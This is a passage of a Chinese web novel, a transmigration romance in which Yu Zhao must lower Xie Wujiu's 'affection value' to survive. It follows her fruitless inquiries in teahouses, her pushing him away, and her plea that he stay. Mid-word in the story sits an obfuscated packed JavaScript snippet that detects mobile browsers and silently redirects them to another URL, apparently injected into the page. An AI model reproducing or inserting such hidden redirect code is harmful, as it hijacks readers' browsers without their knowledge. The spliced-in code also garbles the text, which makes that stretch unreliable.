“谢兄这是要跟虞小姐较劲啊。”王公子打趣道。 谢无咎笑而不答,只是看向虞昭:“再来一局?” 虞昭摇摇头,往后退了半步:“我有些累了。” 这一场小型聚会下来,虞昭凭借着那些从现代带来的小知识,着实小小惊艳了一把,大家都对她赞不绝口,谢无咎更是觉得她与众不同,心里对她的好感又加深了几分。 聚会散场时,暮色已深。谢无咎执意要送虞昭回家,两人沿着石板路慢慢走着,谁都没有说话。路过一家糕点铺时,谢无咎突然停下脚步。 “等我一下。”他快步走进铺子,不一会儿捧着个油纸包出来,“你爱吃的桂花糕,刚出炉的。” 虞昭接过糕点,热气透过油纸传到掌心。她想起上个月也是在这家铺子前,谢无咎为了买最后一块桂花糕,跟人争得面红耳赤。 “谢谢。”她轻声道,却没有打开油纸包。 谢无咎看着她的侧脸,忽然问道:“虞昭,今天幸亏有你在,我真的很开心,都舍不得结束了。” 虞昭的手指猛地收紧,油纸发出轻微的“沙沙”声。内心却很是矛盾,她既享受和谢无咎相处的时光,可又担心好感值的事儿。 “是挺有意思的。”她勉强笑道,“不过我也有点累了,今天回去可得好好休息休息了。” 转过街角就是虞家。谢无咎在门前停下,欲言又止。月光下,他的轮廓显得格外清晰,眉宇间的失落一览无余。 谢无咎察觉到虞昭的情绪好像又有点低落了,他以为虞昭是真的累,“到了,你...早点休息。”他最终只说出这么一句。 “嗯,谢公子,你回去路上小心点儿。”虞昭点点头,转身推开院门。就在门即将合上的瞬间,她听见谢无咎轻声说:“桂花糕要趁热吃。” 回到房里,虞昭将已经凉透的糕点放在桌上。半莲端来热茶,看见自家小姐盯着油纸包发呆。 “小姐不吃吗?” 虞昭摇摇头,突然伸手打开油纸。桂花糕已经有些变形,但香气依旧。她掰下一小块放进嘴里,甜腻的味道在舌尖化开,却莫名带着几分苦涩。 虞昭止不住地叹气,今天谢无咎的好感值又上升了,章山菡那边也还在虎视眈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15431304|168970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眈地调查自己,真是前有狼后有虎啊。 “半莲,”她突然说,“明日去打听打听,章山菡最近有什么动静。” 窗外,一轮明月高悬。同样的月光下,谢无咎站在自家院子里,手里摩挲着那支从投壶里取回的箭。箭尾的羽毛上,还残留着虞昭指尖的温度。 ------------------------------------------------------ 第二天,虞昭起了个大早,心里一直惦记着摆脱早死命运的事儿,她根本睡不着。 趁着半莲还没醒,轻手轻脚地出了门。晨雾中的街道空荡荡的,只有几个早起的摊贩在支着铺子。 她裹紧了斗篷,低着头快步走向城西的茶楼,决定打听打听关于系统以及有没有什么办法能改变这现状的消息。 她先是去了城里一些消息比较灵通的茶馆,找了个角落坐下,点了壶茶,然后悄悄留意着周围人的谈话,想看看能不能听到点有用的东西。 “姑娘来得真早。”茶博士打着哈欠给她上了壶碧螺春,“第一壶水,茶叶正香着呢。” 虞昭选了最角落的位置坐下。茶香袅袅升起,她盯着杯中浮沉的茶叶,耳朵却竖得老高。 隔壁桌几个人正在高谈阔论,说的正是她感兴趣的城里的奇闻轶事,便凑过去,笑着问道:“几位大哥,我想问一下,你们有没有听说过那种很奇怪的事儿,就是......就是那种好像被什么莫名的规则束缚着的事儿?” 那几个人看了看虞昭,笑着说:“姑娘,你说的这太笼统了,啥奇怪事儿,你得说得具体点呗。” 虞昭犹豫了一下,又不好说得太直白,便含糊其辞地说道:“就是那种,好像自己的命运被什么东西掌控着,怎么都摆脱不了的事儿,你们有听过类似的吗?” 那几个人想了想,摇摇头说:“没听过,姑娘,你这说的也太玄乎了,我们还真没遇到过这样的事儿,你要是想听奇闻轶事,我们这儿倒是有不少别的故事。” 虞昭失望地移开视线。这时门口又进来几个书生,在她斜对面落座。其中一个摇着折扇道:“你们可听说城东李员外家那桩怪事?” 虞昭的手猛地一抖,茶水溅在桌面上。她顾不得擦拭,身子不自觉地往前倾了倾。 “什么怪事?”另一个书生好奇地问。 “说是他家小姐突然性情大变,整日说什么''系统''''任务''之类的胡话...” 虞昭的心跳骤然加快。她攥紧了茶杯,指节都泛了白。 “嗐,不过是癔症罢了。”第三个书生不以为然地摆摆手,“我表姑家的小子前年也这样,请了道士做了场法事就好了。” 虞昭再也坐不住了。她起身走到书生们桌前,勉强挤出一个笑容:“几位公子,方才听你们说起李员外家的事...” 书生们诧异地抬头。摇扇子的那个打量了她几眼:“姑娘也对这等怪力乱神之事感兴趣?” “我...”虞昭咬了咬嘴唇,“我就是好奇,那位小姐后来怎样了?” “听说被关在绣楼里调养呢。”书生压低声音,“姑娘打听这个做什么?” 虞昭勉强笑笑:“就是...随便问问。”她匆匆放下茶钱,逃也似地离开了茶楼。 日头渐高,街上的人多了起来。虞昭漫无目的地走着,不知不觉来到了城隍庙前。庙门口坐着几个算命先生,其中一个白胡子老头正在给人看相。 虞昭犹豫了一下,走到老头跟前:“老先生,我想问个事...” 老头眯起眼睛:“姑娘想问姻缘还是财运?” “都不是。”虞昭压低声音,“我想问...有没有听说过有人被奇怪的规则束缚,怎么也挣脱不了?” 老头的眉毛挑了挑:“姑娘说的莫不是中了邪?” “不是中邪...”虞昭急得直搓手指,“就是...像是被某种力量控制着,必须按照既定的命运走...” 老头摇摇头,从摊子底下掏出个护身符:“姑娘若是心里不安,不妨请个符...” 虞昭失望地退开。她在庙前转了好几圈,问了好几个算命先生,得到的回答不是装神弄鬼,就是劝她去看大夫。 正午的太阳晒得人发晕。虞昭拖着疲惫的步子往回走,路过一家药铺时,她鬼使神差地走了进去。 “姑娘要抓什么药?”掌柜热情地迎上来。 虞昭张了张嘴,却不知从何问起。最后她胡乱买了包安神的药材,逃也似地离开了。 回到家时已是午后。半莲急得在院子里直转圈:“小姐去哪儿了?谢公子来找过您两次了!” 虞昭疲惫地摆摆手:“就说我身子不适,歇下了。”她走到院角的石凳上坐下,仰头望着天空。几朵白云悠闲地飘过,衬得她的处境越发可笑。 “系统...”她喃喃自语,“你到底要怎样才肯放过我...” 一片落叶打着旋儿掉在她裙摆上,枯黄的叶脉像极了命运错综复杂的纹路。虞昭轻轻捏起叶子,对着阳光看了看,然后松开了手。叶子随风飘远,而她依旧被困在原地,动弹不得。 14. 第 14 章 午后,阳光懒洋洋地洒在虞家小院里。虞昭坐在石桌旁,无意识地消食,眉头紧皱,心里还在为前几日出去打听系统和摆脱早死命运的消息却一无所获的事儿烦闷着。 她深知自己现在的处境就像陷入了一团迷雾,怎么都找不到出口,而那好感值却还在不知不觉中因为和谢无咎的相处缓缓上升,这让她越发焦虑了。 “小姐,您这茶都凉了,奴婢给您换一杯吧。”半莲轻手轻脚地走过来,手里捧着新沏的茶。 虞昭这才回过神来,勉强扯了扯嘴角:“不用了,我没什么胃口。” 半莲把茶壶放下,忧心忡忡地看着自家小姐日渐消瘦的脸颊:“您这几日都没好好用膳,再这样下去身子怎么受得了?” “我没事。”虞昭摇摇头,指尖在桌面上画着无意义的圈,“就是心里烦得很。” 她怎能不烦?自从那个该死的系统告诉她,只有降低谢无咎对她的好感度才能续命后,她就没睡过一个安稳觉。更可怕的是,每次见到谢无咎,那好感度不降反升,昨日系统提示已经涨到75了。 “小姐是在为谢公子的事烦心吗?”半莲小心翼翼地问道。 虞昭的手指顿了一下,抬眼看向半莲:“你怎么...” “奴婢跟了您这么多年,还能看不出您的心思吗?”半莲叹了口气,“谢公子对您一片真心,您明明也...” “别说了!”虞昭突然打断她,声音有些尖锐,“我跟他不可能。” 话音未落,院门处传来轻轻的叩门声。半莲快步走去开门,不一会儿便回来通报:“小姐,是谢公子来了。” 虞昭的心猛地一跳,手中的茶杯差点脱手。她下意识整理了一下衣襟,又懊恼地停住动作——她不该这么在意的。 “让他进来吧。”她努力让自己的声音听起来平静。 谢无咎踏入院中时,阳光正好洒在他肩头。他穿着一身靛青色长衫,衬得肤色如玉,眉目如画。看到虞昭,他眼中立刻漾起笑意,快步走了过来。 “虞昭,你看我给你带了什么!”他像献宝似的从袖中取出一个精致的木雕小鸟,“今早在市集看到的,雕工极好,我一眼就相中了。” 虞昭接过木雕,指尖不小心触到谢无咎的手,立刻像被烫到般缩了回来。小鸟雕刻得栩栩如生,羽毛纹理清晰可见,眼睛处还镶嵌了两粒小小的黑曜石,在阳光下闪闪发亮。 “很...很漂亮,谢谢。”她强迫自己挤出一个笑容,却不敢直视谢无咎的眼睛。 谢无咎敏锐地察觉到了她的疏离,笑容僵了一瞬:“你不喜欢吗?我记得你上次说过喜欢这类小玩意儿...” “没有,我很喜欢。”虞昭急忙道,随即又意识到自己反应过度,声音低了下来,“只是今日有些乏了。” 谢无咎在她对面坐下,关切地倾身向前:“是不是又没休息好?你脸色不太好。” 他靠得太近了,虞昭能闻到他身上淡淡的松木香气。她不着痕迹地向后挪了挪:“没什么大碍,就是昨夜看书看得晚了些。” “你啊,总是这么不爱惜自己。”谢无咎摇摇头,语气中满是宠溺,“要不要我去请大夫来看看?” “不必了!”虞昭声音突然提高,见谢无咎惊讶地挑眉,又放缓语气,“我是说,真的不用麻烦,我休息一下就好。” 一阵尴尬的沉默在两人之间蔓延。谢无咎的目光在虞昭脸上逡巡,似乎想找出她反常的原因。虞昭被他看得心慌,手指紧紧攥住衣袖。 “谢公子,如果没有别的事...”她终于忍不住开口。 谢无咎脸色一黯:“你这是要赶我走?” “不是...”虞昭咬了咬下唇,“我只是...” “我明白了。”谢无咎站起身,勉强笑了笑,“你好好休息,我改日再来看你。” 他转身时衣袂翻飞,带起一阵微风。虞昭望着他的背影,胸口像是被什么东西狠狠揪住。她张了张嘴,却终究没有叫住他。 院门轻轻合上的声音传来,虞昭的肩膀一下子垮了下来。她盯着手中的木雕小鸟,眼眶发热。 “小姐...”半莲欲言又止。 “我做得对吗?”虞昭轻声问,更像是在问自己,“我这样对他...” 半莲走到她身边,轻轻握住她冰凉的手:“小姐,奴婢不明白您为何要这样推开谢公子。他待您一片真心,您明明也...” “你不懂!”虞昭猛地抽回手,“我这是在救自己的命!” 话一出口她就后悔了。虞昭摇摇头,疲惫地闭上眼:“没什么,我胡说的。你下去吧,我想一个人静一静。” 等半莲离开后,虞昭终于放任泪水滑落。她抚摸着木雕小鸟光滑的表面,想起谢无咎刚才失落的眼神,心如刀绞。 “叮!检测到目标人物谢无咎好感度波动,当前好感度:74。” 系统的提示音突然在脑海中响起,虞昭愣住了。降了?居然降了一点?这是她这些天来第一次看到好感度下降。 可为什么她心里没有丝毫喜悦,反而更加难受了? “我到底该怎么办...”她喃喃自语,将木雕紧紧贴在胸口。 窗外,一阵风吹过,花瓣纷纷扬扬地落下,像是下了一场粉色的雪。虞昭望着这美景,却只觉得满目凄凉。 过了几日,谢无咎心里还是惦记着虞昭那天冷淡的态度,总觉得她肯定是有什么心事瞒着自己,思来想去,决定再去看看虞昭,好好关心关心她,看看能不能帮她分担些烦恼。 午后的阳光透过新绿的树叶在石板路上投下斑驳的影子。谢无咎站在虞家门前,手里攥着一本包好的诗集,这是他特意从书斋挑来想与虞昭共赏的。他抬起手刚要敲门,门却“吱呀”一声开了。 虞昭挎着竹篮正要迈出门槛,猛地撞见谢无咎,惊得后退半步,竹篮差点脱手。她今日穿了件淡青色的衫子,发间只簪了一支素银簪,衬得脸色越发苍白。 “虞昭,真巧。”谢无咎眼睛一亮,上前一步,“我正想来看你。” 虞昭的手指紧紧攥住篮柄,指节都泛了白。她垂下眼睛不敢看他:“谢公子...我正要出门买些针线。” “那正好顺路。”谢无咎笑着扬了扬手中的书,“城南新开了家书铺,我买了本《花间集》,想着你定会喜欢。不如我们...” “不必了!”虞昭脱口而出,声音比想象中更尖利。见谢无咎笑容僵在脸上,她慌忙补充,“我是说...我今日事多,改日再...” 谢无咎脸上的笑意慢慢褪去。春风吹动他的衣角,阳光在他眉骨投下一小片阴影,显得眼神格外黯淡。他轻声问:“虞昭,你是不是讨厌我了?” “不是的!”虞昭急得眼眶发热,“我只是...” “那为何总躲着我?”谢无咎上前一步,虞昭闻到他身上淡淡的墨香,“上次是,这次也是。若我哪里做得不对,你直说便是。” 街角传来小贩的叫卖声,几个孩童嬉笑着跑过。虞昭盯着地上两人的影子,谢无咎的影子几乎要碰到她的,她却往旁边挪了半步。 “你没有不对...”虞昭声音发颤,“是我自己的缘故。” 谢无咎忽然伸手握住她的手腕,触到一片冰凉:“你手怎么这么冷?是不是身子不舒服?” 虞昭像被烫到般抽回手,竹篮“啪”地掉在地上,针线包滚了出来。她蹲下去捡,眼泪差点砸在手背上:“谢公子,求你...别对我这么好...” 谢无咎也蹲下身,却不急着捡东西,只是认真看着她的侧脸:“虞昭,看着我。” 虞昭咬着嘴唇摇头,发丝垂下来遮住了脸。 “到底出什么事了?”谢无咎声音里带着从未有过的急切,“你从前不是这样的。我们不是说好要做一辈子的...” “别说了!”虞昭猛地站起来,眼前一阵发黑。她扶住门框稳住身子,“谢公子请回吧。” 谢无咎缓缓起身,书册“啪”地掉在地上。他弯腰拾起,轻轻拍去封面的尘土:“好,我走。”转身时又停住,“虞昭,我明日要去临县办货,约莫五六日才回。这书...留给你解闷。” 他将书放在门边石墩上,头也不回地走了。虞昭望着他挺直的背影渐渐消失在街角,终于忍不住蹲下来,把脸埋进臂弯里小声啜泣。 “小姐...”半莲不知何时站在门内,递来一方帕子。 虞昭接过帕子按在眼睛上:“你都看见了?” 半莲扶她起来,捡起散落的东西:“谢公子是真心待您。” “我知道...”虞昭哽咽着,“正因如此...” 她弯腰拾起那本《花间集》,翻开扉页,里面夹着一张字条:“愿卿展颜,如春花开”。笔迹力透纸背,最后一笔却有些发抖,像是写字的人心绪难平。 街上人来 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“是呢,听门房老张说,谢家要进一批江南的绸缎。”半莲把梨膏放在石桌上,“小姐若是想追...” “不。”虞昭摇头,手指无意识地翻着书页,“这样最好。” 夕阳西沉,将她的影子拉得很长很长。远处传来更夫的梆子声,虞昭望着天边渐暗的云霞,轻声呢喃:“五六日...够我想清楚了。 雨淅淅沥沥下了一整天,虞昭撑着油纸伞站在谢无咎的院门外,踌躇了许久才抬手敲门。伞沿的雨水滴在她的绣花鞋上,洇出一片深色的痕迹。 门“吱呀”一声开了。谢无咎站在门内,头发有些乱,像是刚从书堆里抬起头来。看到虞昭,他眼睛一亮,随即又想起什么似的,神色黯淡下来:“虞昭...” “我、我来看看你。”虞昭收了伞,雨水顺着伞骨滴落在台阶上,“这几天...你还好吗?” 谢无咎侧身让她进屋:“挺好的。” 虞昭看见桌上摊开的书册和写了一半的字帖,墨迹还未干透。她想起上次说要教他写字的事,心里一阵酸涩。 “喝茶。”谢无咎递来一杯热茶,小心避开她的手指,“天冷,暖暖身子。” 虞昭捧着茶盏,热气氤氲中看见谢无咎欲言又止的样子。她深吸一口气:“谢公子,那天...是我不好。” “别这么说。”谢无咎在她对面坐下,“我知道你心里有事。”他顿了顿,“其实...我也有事没告诉你。” 虞昭心头一跳,手指不自觉地收紧:“什么事?” 谢无咎望向窗外连绵的雨幕:“我打算离开这里一段时间。” “什么?”虞昭手里的茶盏一晃,茶水溅在手背上,烫得她一个激灵。 谢无咎连忙接过茶盏,掏出帕子给她擦手:“小心。”他的动作很轻,像是怕碰碎什么,“我父亲当年的仇家不会善罢甘休,我在这里只会连累更多人。” 虞昭看着他低垂的睫毛,突然一把抓住他的手腕:“不行!”声音大得把自己都吓了一跳,“你...你一个人能去哪?” 谢无咎苦笑一声:“总比在这里等死强。”他轻轻抽回手,“况且...” “况且什么?” “况且你最近...似乎也不想见到我。”谢无咎的声音低得几乎听不见。 雨声忽然变大,敲打在屋檐上噼啪作响。虞昭的眼泪一下子涌了出来:“不是的...我不是...”她胡乱抹着眼泪,“我只是...只是害怕...” 谢无咎慌了神,手忙脚乱地给她擦泪:“别哭...是我说错话了。” 虞昭透过泪眼看他手足无措的样子,突然做了一个大胆的决定。她抓住谢无咎的手:“谢公子,我有事要告诉你。” 谢无咎安静下来,认真地看着她。 “我接近你...确实有特别的原因。”虞昭深吸一口气,“但我现在不能说。”她咬了咬嘴唇,“只求你答应我一件事。” “你说。” “别走。”虞昭的声音发颤,“至少...至少再给我一点时间。” 谢无咎抬起头,望着她通红的眼眶很久,终于点点头:“好,我等你。” 雨渐渐小了,一缕阳光透过云层照进屋里。虞昭看着两人交握的手,心想:至少现在,他还在这里。至于以后...总会有办法的。